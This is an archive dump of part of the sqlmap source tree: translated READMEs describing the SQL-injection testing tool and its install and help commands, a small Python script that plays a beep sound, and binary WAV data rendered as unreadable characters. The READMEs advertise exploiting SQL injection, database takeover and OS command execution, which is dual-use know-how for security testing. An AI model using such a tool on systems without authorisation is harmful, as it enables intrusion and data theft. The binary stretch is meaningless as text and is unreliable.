https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-uk-UA.md000066400000000000000000000101451502261744200205150ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. Скриншоти ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki. Встановлення ---- Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master). Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.6**, **2.7** та **3.x** на будь-якій платформі. Використання ---- Щоб отримати список основних опцій і перемикачів, використовуйте: python sqlmap.py -h Щоб отримати список всіх опцій і перемикачів, використовуйте: python sqlmap.py -hh Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601). Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Посилання ---- * Основний сайт: https://sqlmap.org * Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-vi-VN.md000066400000000000000000000066511502261744200205410ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. Ảnh chụp màn hình ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki. Cài đặt ---- Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.6**, **2.7** và **3.x** trên bất kì hệ điều hành nào. Sử dụng ---- Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy: python sqlmap.py -h Để có được danh sách tất cả các tùy chọn và switch, hãy chạy: python sqlmap.py -hh Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). Liên kết ---- * Trang chủ: https://sqlmap.org * Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues * Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki * Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/doc/translations/README-zh-CN.md000066400000000000000000000055571502261744200205250ustar00rootroot00000000000000# sqlmap ![](https://i.imgur.com/fe85aVR.png) [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) 你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例 安装方法 ---- 你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码. 推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2.7** 和 **3.x** 版本的任何平台上 使用方法 ---- 通过如下命令可以查看基本的用法及命令行参数: python sqlmap.py -h 通过如下的命令可以查看所有的用法及命令行参数: python sqlmap.py -hh 你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。 链接 ---- * 项目主页: https://sqlmap.org * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom * 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://x.com/sqlmap) * 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.9.6/extra/000077500000000000000000000000001502261744200141525ustar00rootroot00000000000000sqlmap-1.9.6/extra/__init__.py000066400000000000000000000002221502261744200162570ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/extra/beep/000077500000000000000000000000001502261744200150655ustar00rootroot00000000000000sqlmap-1.9.6/extra/beep/__init__.py000066400000000000000000000002221502261744200171720ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ pass sqlmap-1.9.6/extra/beep/beep.py000066400000000000000000000056241502261744200163610ustar00rootroot00000000000000#!/usr/bin/env python """ beep.py - Make a beep sound Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os import sys import wave BEEP_WAV_FILENAME = os.path.join(os.path.dirname(__file__), "beep.wav") def beep(): try: if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("darwin"): _mac_wav_play(BEEP_WAV_FILENAME) elif sys.platform.startswith("cygwin"): _cygwin_beep(BEEP_WAV_FILENAME) elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() except: _speaker_beep() def _speaker_beep(): sys.stdout.write('\a') # doesn't work on modern Linux systems try: sys.stdout.flush() except IOError: pass # Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html def _cygwin_beep(filename): os.system("play-sound-file '%s' 2>/dev/null" % filename) def _mac_wav_play(filename): os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) def _win_wav_play(filename): import winsound winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return import ctypes PA_STREAM_PLAYBACK = 1 PA_SAMPLE_S16LE = 3 BUFFSIZE = 1024 class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] try: pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") except OSError: return wave_file = wave.open(filename, "rb") pa_sample_spec = struct_pa_sample_spec() pa_sample_spec.rate = wave_file.getframerate() pa_sample_spec.channels = wave_file.getnchannels() pa_sample_spec.format = PA_SAMPLE_S16LE error = ctypes.c_int(0) pa_stream = pa.pa_simple_new(None, filename, PA_STREAM_PLAYBACK, None, "playback", ctypes.byref(pa_sample_spec), None, None, ctypes.byref(error)) if not pa_stream: raise Exception("Could not create pulse audio stream: %s" % pa.strerror(ctypes.byref(error))) while True: latency = pa.pa_simple_get_latency(pa_stream, ctypes.byref(error)) if latency == -1: raise Exception("Getting latency failed") buf = wave_file.readframes(BUFFSIZE) if not buf: break if pa.pa_simple_write(pa_stream, buf, len(buf), ctypes.byref(error)): raise Exception("Could not play file") wave_file.close() if pa.pa_simple_drain(pa_stream, ctypes.byref(error)): raise Exception("Could not simple drain") pa.pa_simple_free(pa_stream) if __name__ == "__main__": beep() sqlmap-1.9.6/extra/beep/beep.wav000066400000000000000000001332641502261744200165300ustar00rootroot00000000000000RIFFWAVEfmt DXdata b ,+6BbLWzR3FI;P0%fg٫m{B\ }#.|9DsOVNC8."W  x[vٟ+(k>&0;F SXVKKA=6* + o(}㼚֨<˺ya1(g3w?I*UBU*I>2`(=)oLr駂.ȸB q/ ,6AKX1RE;70/& Z9 Mm?x h & #/.x9C%P%XNC9-H" ;2׿XI½DRN8&0<GRvV.LA_5*W 7Rӎݼϱۚd[)$4(?ITT\HL>2(OC`8ǺսȽN K +6A M2WRE;/%|YydpӵS̐6j |#.:DOXODC#8o-" i O-cDIä.5i&n1IU/THt>2' +^QB9%PzP  +6VBLV#RF:/S%I-ͷ˓_0 A#/9DOX\NC8y-"B SyԲ>P?fZZ&1$.9oDP>WyNJC8,"-k _3&kǸK]ψ(y&1C=jGLS5W}K`@4*n? %p݆v0ȯ4OƧPA\)`4?IVCTG>r2](fy `ę"ɼӪW@ `!,"7AqMW'QEh;/$77hi1ͪ lj$]#b.:ElP WN2C7 -,"qu "zܾWSΈi:'&1 2V'BF2Qġ{ʧ|~z$ \?!+7B[MWQiEn:/$->׏W;1[Q *^$^/R:DaPVMB7R-" =K-fF;æec8'1<GSUK@[5)<` 5bҥ *Aқ4 q)I4H@{JUTIHJ=1'rCUuú$ᾉ{Vj .!,|7BLdXQD:/O%8q<ӷj0E̻+gd$.L:\D/QWMC68,o! Xz^Ñ"Rq2&1=GSVJ?4*(^>^ѳ¨zf?g*4?hJ\UcSG`=G2'!x k"Lֳ\ɏ,Ju !,X7PBMrWQCE ;.K$LyM0'K3MקN?^$.:KEQXMBE7,! >1lxQpn ,'<2x=GSU.J @4*+B]ƈdƚDFz)C)4?JOVqSG=#2&?_ ڋgjrTռ߫L" !F,7CMWIQIE:/}$OHU/[ Y2emj$/:=EPWOMZB7, "7r q&fԠžV޹cϝ6dh'1W=GTV,Jx@]4)$:Ɩ+ק߻p(xk 4))5@JmVSG<1'+?db"Α[uWR0ԏU t!D-7BMV.PDF:`/${Z4ƪ xp̱84 $/o:AE|QWMB7+7!b 2t+F.,OکxJR'1!>%H+TVJ?&4)3Xdݭ9û1c~ *15~@JVZSG1=1'*81φɌԋ 8T",7WBuNW@PE:/# )vP*מ;vնCFrH$/c;EHQ WMA7/,k! ?V%wC }xkU3(2=HSoUI?w4) ;\c܏k3POaݝ`: t*4G@UKVSAGj=-1&uqpg七=j8X~| ",8]CZNXPD9.#@enָˑedE/ͧ׹*^`G%0,;ELQVL$B 7,0! 0nv'vn|t+5 '2n=eHT_U0J?y4(.n@\ܢ@ۯIqݎ c4*/5ASKZVSlGt<21&&#ٜ+|l3#MH "-]8@CMXPDD:.q$c :sx̵ܷ/Mئ8IY%/:E^RWLtB6+ @ )zFDɜh˹$_j76'2>HuTUJ>3?)bz_ʨ;7 Y5+5@AKURF<|1&NOBٜV2άX,o}S "s-$8#CNW%PD/:".~# *]Kŵ 5y .%/;ERgXLAh6+ ^ [ӔȽ'Oκ6НKPpx(3G>ZHT"UZIX?3)GXlDӻf*U  *5Q@KVR%GPCY9K.#; n %O2l`:³wVA%o0;ExQWULA6,j S Kީ 4|ۋ )/t(2->HU'VQI?s3(#Mہߺ+ӱ{%N9 *6_AKVRF;0=&g\-IũDʒc A".8CNVGO!Dh9.#G Tփt0<>C͏n%]0<;FSRVLA6.+i  KWޱ,TiwK#rV|(2>HTVI>U3)im+T+#Ӥn5 + 68AwK9WjRZFT<0&k7Ҹxrhd; 3#-8COWPOpDL9-# eH\TTI>3).t2ВV8u@O6Ӱ\: E W+5AILjWRFPI-UTVI ?34(_zsӨ}ȽP<1n  J+6A-LVRE;m0%$Re؏QB,hu r' #^.<9CNXNC97."i k t\(mb~ /&0;FKS/WKA5*4p R!ލUʱnI ѳ۶Bc(3G?{I$UT.I>(3p(UG Š먥~Ȅ ޿o !s +y6A(L6VQ%F;0%c>͑[9C=Y> c#4.8COW-OCH9R-" &fՉq[IJKZ%r03(R^) Ψ沄m%߯A  +A6A&MVQvF;/T%Jyp\Jq֍ o"#G.9}DOZWFOB8y-"a D3Lkթe5‰ά^z &/1tIVUUH>2'RU?}H'2:k]މy  U+6BL:WRE;+0m%}g3g߫M/Q@~ #.9DDOV]NgC8-"x 2aդʽ  n<]wj&+12D(T$hпĔC7ԉ! !!,6A:MWQE;{/$UN}P͘a{0J̭[#F.W:DVPXN C7I-R"4 TCKHg5lw'1< GRUJ@b5 +`4Y  ݀uT Ƽܓm$mn)3v?JUTH>2'z]J4Fđ)ղ^QF)K O ,7BM7WQ E:/+%^̂yZ P̃\D $/':DOWMB.8w-! CNZ10;Z'X1 Y!,P7@B MVPaE:/%=vDժ|ן*!t1$/9DPW6N"C]8,!B Y+ԳʙϨͬÙϵ u<&1=eGSW^J@4L*a.+(TƧ^5s?*4?IVSG=n2't+fږ\# )̳@L| !o,!7oBN*WPE:.$y@T!8+a7^p_:#!/:7EPGWNN0B7," WvԮɦ1-' _n=4BʞԾGY t!,7BMtW=Q&E6:c/$lD;-dEW$/:DPVyMB7!-!O E_ߡY@ҭ|Ϟk/5g'17=aHSUJD@Y4)3 }]ҮƗe?F`= +)15~@JaVT(G=1c'GDεînfԯ) g)"-7BZMXPD:/W$k/; ד^ o$G/R:[EQTWMBx7,v! w*`0?BWn-&C2=HSVJa?4) Nuю߻˰񰵼3ғ]g:*4=@JUcSsG6=2p'uOL7йT!ax O!,y7B,NXPE:.'$~1͸کH+uv1[r$/R;gESQWMA87^,!g HVJPhĒR>(M2=GnTUJ?4)pFLܼѡ@CM~WP?D :.\$D 2˴ʪ巈-?fn%/ ;IEPWLKBP7, > V*:eɚįs1'2=LHT V J0@4I)Qayiޯi%ǖg5 h3)5@?K9VSgGn<1&40{qj|\%HTVlIJ?4)Ti0: Ơ ü\H] <*h5@J(WRG<1&_DFΐP9+ʔCV e"7-7@COAWPD94.#&d>Kɵ 8¡*Sp2$/;EgQ%WNMmA6+J!A %{ߞ߽]: E'(2$>&HTUIp?94)!uf+ЯէEǤa^ +*&5@KWSG7=0d&;D;íQ dՒ  e*"-8qCNWOC9w.#& h֊k[*iײu'=%#0;EQVLA6,G  tPfAWo36(2>0ITmUIw?v3(CYܒۺïd; Aݑh e* 6>AnKVSQFU<0&u4w:q_՞s 4#-8GClNX|OED9.i# md4Tֶ˧Aګٷ\ͥ@Xz% 0.;,FRWL9B6Y+  > kuꨓuŁ`='%3>HnTyUI>3)64pN;ܦл篲io3: m+5AcKVRFiA`6+  }#kțrɺDOw" k( 3>wH2UTEI?3(%/rnή#g|#>  +5 A{LVRFR<]0%Z/ٍΈǩbrO x"-G9CNWOwC89.#r [70޵੡S|AF&0;EQnWKAr6+ 5e X~Ӆ罈>{ۮOJc(2^>.IUXUQIa?73}("QяũSCH Vu+6pA%LVNR F;0/&l@Oػ͠F)˜Tp1 #.69CRO7WOCR9:." "y?HU+VH>$3(`SK2@t0g1  +N6VAKWQNF;0%"Aohq0ÿoֈ  a=#-8DOHW3O5D9o-"U 0]}Adl57%0oRVOL@6%+x l 7`zHTTH>p30(c8.nДŗuOrަWP  +6BL7XR`F;/%ONGGs>Uy $#u.9'DOWN3C8-+#V Bպʨ/ %*΢؈]C&0X J/UT"I>2)({PE#ڮ-ڽӧP+ 6 +6ANLoWRE;$0%UR(v>|>ՉKJ $g.9COXwNC8."B .[0΂قA^&0 2Y(6`}O| I!+6ALWQE;i0$W@ ؀̀}t#e^$#M.]9D P'XNCA8 -"v 93[ոƾ币1]b@&q13(Yk ŗ%>I O +t6A_MVQ9Fq;/.% VHNشͭ>ΫG7̢6 N#.!:DOWNB`8B-" u`"F}!ضKH'J1,6BwMXQE:/$Ltt0?r_ !IP#D/:DPWMyB7,U" D({Fn{d$u'1!=GSUJR@]5^*% \?VǴ˨t»BY2)#4?JUTLH=1j'9zhǨ$Ɂ}}| !g,7B6MWQD:[/%w.S&׬0we̚p|$ /:DP~XMB 8,C! :ߧ0ؾaR@UGF'o1=H TVJ.@M4*f +`ySb1܌Vh *15@JUS`GH=1'SDVĝ!ʩ@R (",7ABM{*uх軑ۨ\}#ݒo! t*4@K?VTSG<0&iHM)ì"rQ78z *"-8qC*NXOD9.D$D{ `4b;+j \%/`;?EaRCXxL.B$7+h  Z|Vđ'f (G2o>HTyU-JO?}3=)%>]܊ќ?C0ҡX :*6@K7VRF~<*1&s%wT>ָR.z սp y"{-8BNUWOZD:.G#P 1y'y͍x$ 2i%/;;YFQWL9Bb6+ ? Cax>X='3>oHT VFI ?3U)T4xЯBҜ7 o" +5@EKVRF<1%GW,ٚU5?ƴ7Y. "3-8CO+W PlD9,.p# DVBu­Y4` hl%0;/FQLcA6+!Be :ȟ2㮷3e*}(2L>bHRUUBIZ?3(R w9TDž[ D*s5yAKmWRG&<}0B&EWumzCϴ ˱ղU; f"-'9CN[WOC_9A.#R 6fX>ɵkŒ\4&`0;E RVdLA6+ | *lޖ3ǮĵЏs+D,t(2s>YITUID?#3(# ~^lu𧊱Un9i) +76zAKWRED<0&&6+?uɫѵ z՛% (d#- 9?CO1XO"D9 ." , tP& ֜=J3Rr4%0#IT,UH>e3(BV 7qЈ캳pl;[޽KP ; e+.6AKWuR]FP<0%ihj*(ȫRxm?`@ )#-8BDwOXuODD8-(#  C]@nwSǫ)*Ϋرmel%0M<_FsRWK A,6e+ ; QJY7qk뺈q7 ]:(o3>HUTI>a3(wJN۵Э`G(Ӄ} v +I6ALVRFd;@0%/vؗN~m3#KL  #.j9(D OXNUC9-e#o )K˜BΞظ@/s&02<FlSWKtAI6+, ({Jq\{ %(#3C?IUTZIp>2m(2E,p۲оąĮ1Ȗk+ } +6A]LVRE;^0&3]؊o ε2(LSuvU󺂮\=X6` !+6;ALrWQ.F;L0$4h\<͂S֦^0 r#-9DO)W)OC&8j-" {c<ƴ6w @1iU&1K@5+ q 9~Gӯtۥ1YQ)3 ?GI VTlH>3'@Y=x歛`AB  +b6:BLWQ[F;;/l%. %vؑ͠{%˄v1 TB#.9aDO\WNC8{-"u oՊw-Rָ@Op+w&41r23']yč̭L)ɲSG` QH!+.7BhMVQE:z/$@SؿQ% JJ '#a/H:DP XMB8-~" F[Dܴ,}΃م W?'|1=FlT2WJ@b5<*k3 2iҜLjڧql\'ҰܴLW)4@J,VTH=1'`_3\#"̾d4\ A ,7_BHMV7QD:/;%d=׾̢<۫>$̦օb; -$ /0:DrPLWMB.8f,! 0rvʐ3(AZK&1=GSVK?42*0vң $ReܴFU*4@JmVSnG= 2'ُ;è#d*W= !{,7AMWPiE:q/!$nnͩxܪ!n̈v({>a$.:wEP WGNBO7,! LՄ~䳊Ź@O#3:'R2b=G[SnVHJ@4Z*5 (r2Sǰ.ƚjc2*4?/JVTG=H2'n+! ښ^ıߙ^e !W,M7BMXQEQ:/$n45\תҶǪªKJo$/:EPV,M}B7,!p 'nԓվ"p;_wm'(2 =G+TUJ+@4b)-f3ǩIǟ+&n 8)4@JV/TG<10'KV π[L;ԃ߼P !F-7BsMXPD:$/$~o֟iv2,M2s%\/:DQW9MB7h,!} {|߂ɥ#Ȩgxڂ>c'1=OHTUJ?&4)3[ DvɨV>\ *b*Y5U@JUSG =1r'(dxr󭤩D~#I| R",7BMWPD:.#IZA̸.QZͰV'$4/n;EQXMB6Q,J!- MHKRѭn2op(2=G2TsUI?R4*W<TۢV+=oc5ҶݨXCZ*>5?TKVSGA=1d&<,öyn. > ",8tCNN.WPD9.$#fyVBˋSت ͹לl`$(0 ;E QWLB47c,! ,mh%򳎨!8YĊgS(Q2=GWUVI@4c)c .:Wܬѽ»d!J҄z/ XF*4@jKVISG<$1&<dvm/߀FU o"-f8$C@NVOzD9.$F p{۫z؞.&o6%/:EQVM4BP7+ : `ԕزӨ칣ďи V('S2>HTbVJ,?3l)3)nKp!m=8݉ ~$(+5@KVRFMIU /%/q;9FQV_MAv6+ J$ }I=ԦȽ(䭝 иڠhT(33>xH'TUZIK?3)SBX !Ƃ]꼍`Ҽ22  *}5@KBW7SF<0&& iˆܴP˗Ab "-8CN#XP7D*9j.# lL1.X– "CZ%0;EQzV>LA60, X E޴ӳ ٨_WۊOq5(2=HTUIi? 4(0YCTٺl¨`l@ *5vAKV[SG<0_&@}5ܞʗ\. C~".8CrNX{OC9k.#J JA{>t&QY%"0;ERpWMLA6+5  +R׽0ڮ"CR{((2>$IT4UJ>R3)n3:c ר)ӥKy)  +6AKV8RF'<1i&{IR3Ǹi6hw M"-8CdOWO,D9-# &n"ܿ]w6owm%0QHTTH>3K)xmxy6t$ Қe4 ly &+6@NLV@RFp<0%66ke޷Dya-V "l-94D3OFWOD8-:#d mĿ3oj̀qA!%0;MFQWKZAJ6+ 2 e4ӆt>3MOY("3>H(VUHW?2_(:K+_ňIȈp/ a; *6AOLWRgFn;0%/7؆b(?IH] P#o.;9C&OVNC9=.,#y I?E«ig>&0;FRV(L|Ai6* 1h CQӻSы"~(93^?TIVUU-I^>2(bLM~úB콂ȀZe 6 +t6AKjWQE;0F&Dz U´޵05_ s# .59xCOWNCK9-}" OreũŒ/Y%_0R@3(z i'RȚ߽Zc & +=6sALWOR F%D ŷ&3P֣J IR#-9bDOX,OiCU8-" ;4qty jn&&I1eIyUnTH>$3'7gۃr vi Գ޶=  X+68BLWR*F1;0%xZ>cݷ٫AU5ck i#.9BD~OXiNLC8-#5t an9u2v&0U bQ>Bٵ;c&07=GSWK@(5*.\ _ޥCǵ֧ѯ1_t")>4o?IU T+H >2(*IСļ?^߽ȟ{$ ?J!+6lAPM!WkQE;/$3lY-؝=ȵK@e #7.9DPNWNFC76-f" WB.ެmqO8'1<GRoVJ@u5*8b Y݂{\ɧ'oܩSGf)3d?JVTH>2'o{fu˹f2нELp ) !+u7mBAM]WQE:/%=bjײ̙V!̴֫8P m9$-/:D PVMC&8-B" g7bfn}2/&1rGrT8WJ?U4*bu9cŧٰ %Ңl9* 55@|J/V7SjGJ=1'E]=zSKT=q\{ ",7=B>N]WrPbES:.$_@U׭̶2;6͠4 X$/1;EP>WMAN7Q,! $xJAͳ_6ĹٮRA&(T2=GSUJ?4!*({;џFTʧ%\?ҥi+4k*40@ KWS`G=D1&$JٛϓάϨ'WA !,]8"C5NWPD9/-$x+~ԪCt׌ ?%/:aEPVMCBP7,[!@ [>_ɥ%Aع@MϾt'Y2@=BHITUZJ@4,)f"t],]հ"h6e} o(*5@JV,TtGHTU@J>24d)HS$~YpfǗb .d +b5@JURG<1' xm4·gHJEQ6 S"H-7 CNXXPDZ:C.# Y֞S'dP~PR$~/;EQW8MA6,!  Է4Gfڳ"PJ(2>=H*TTIp?/4)+pp!è\Kp% *c50@KVRkG<0[&Ewl8vՆ  "]-8CoNW~PC9l.#m 8C9֖LH74Mͤf%+0x;EvQWkLA6P,  GzC a|jtNR<(2=H`UUI?3(G`4<۶ d{Eݘj+ `*5!AKoV(SF <(1l&xb6hñ a4x "-8eC\NVODD9.#  @Qֵ˩.Oܫe4d}p%&0 ;E!R6WLB6V+  xYp@.)F>TU'2>HTUVI?3>)MV ^/u& ҵk/ > P+5@MKaWuRFi&<_-߸ҫc@ "-b8CyOLWODw9-V#F 0m[Urmؐi'%k0<_FQ WLAz6+ / e :qȅƨ ŀбڌy! (3>HkTFU1I?3O)K#hōO$ Ӏ(  -+5@LXSF IUUI? 3(ZL.PNtra7= ^'+{6AK5W/SE;0:&U|p™\zTL #.#9CNXNC;9l."" HHF>B$GL%n0;FRV-LA6*9 ^ kPK޼ӁҨtЀۀa/(3?WIT.UNI7>_3({APſtpĽGRݡh1 I +46gAKLV%RHF;0 &9"nιš ϩ~׿֟) z)# .8CO&X[O Dr9t-"O J8OѨ$§Υ B&%Q0HUTH>|3(m1m ۅpW^7ވy  + 6ALV(RF;/%pCQ%¤*#f>Xn\ @"..9TDYOW}OC8-$#  vgdʈpelIQQ&0ZIVTH>2(Ws"LvfZ$ɷӪXL k ++6ALVRRF8;a0%n?Bܷ>2xUF #.h9"DEOVNC8 ."< cCũAٞ1b`D&0;FSVK;A_5*: N|ܱ`LO<(4?XI&VUH,>2f(G>ĕ`yͽtӣ2 l$! ,6ALLWQE;0U%e6E#؂p &uy #Y.;9}D_PBWNC8 -" pةM=Zj1%E1<GRVKN@5* U *gҡһDфi\F)3S?`IUTYHF>3w(oVE9κN)] Z +g6ALjXRE;/1%w5}|ŵL\̇' #!.-:D"PWN%C!8u-"T ~t'^کhÐ \4 'Z1'2'# z_l¹i?߲  " +W7\BLW2R E;/m%3A ͞շ ~39# hj$. :CDPXMBCZ8-"M L$5kʔ)à|!'&41qkL<ϙYy Z&1f=1S'IwS(1ċG(qԉ2 e6!+7BMWzQBEo:/$ 54nz۶3`֧i2 I$1/r:DPWMB8-U! +g2Kz^~ha>;'1=(HSpVJy@t4)EY ݉ƻߧ&+ ܛnY)4b@0JVT3Gh=1'p6r&$عl*ԑq 5",7WBRMWP;E:/l$kc3Xװ̰^-R̮׷KN|$/:JEHQWMC7E,! ISsg"bĎc;&&2=GrSNVJ?4)C'|DFݙca?. ~*4#@+JUSGy=92', kr Svoɴ3< !,G7}BNXQPEB:.o$- #zי̕Puׅ"#GQ$/;>EQWUMBt7,! x}ɇճscϹCOr'q''2=GTUbJ?4).&iRШ!ym01  0*4:@SKVSGd=O1'`, ڗ~ asV p!,58CMW3QVDQ:.$a k)D0jҷ>q6S%{/:D QdXLB7,!,l 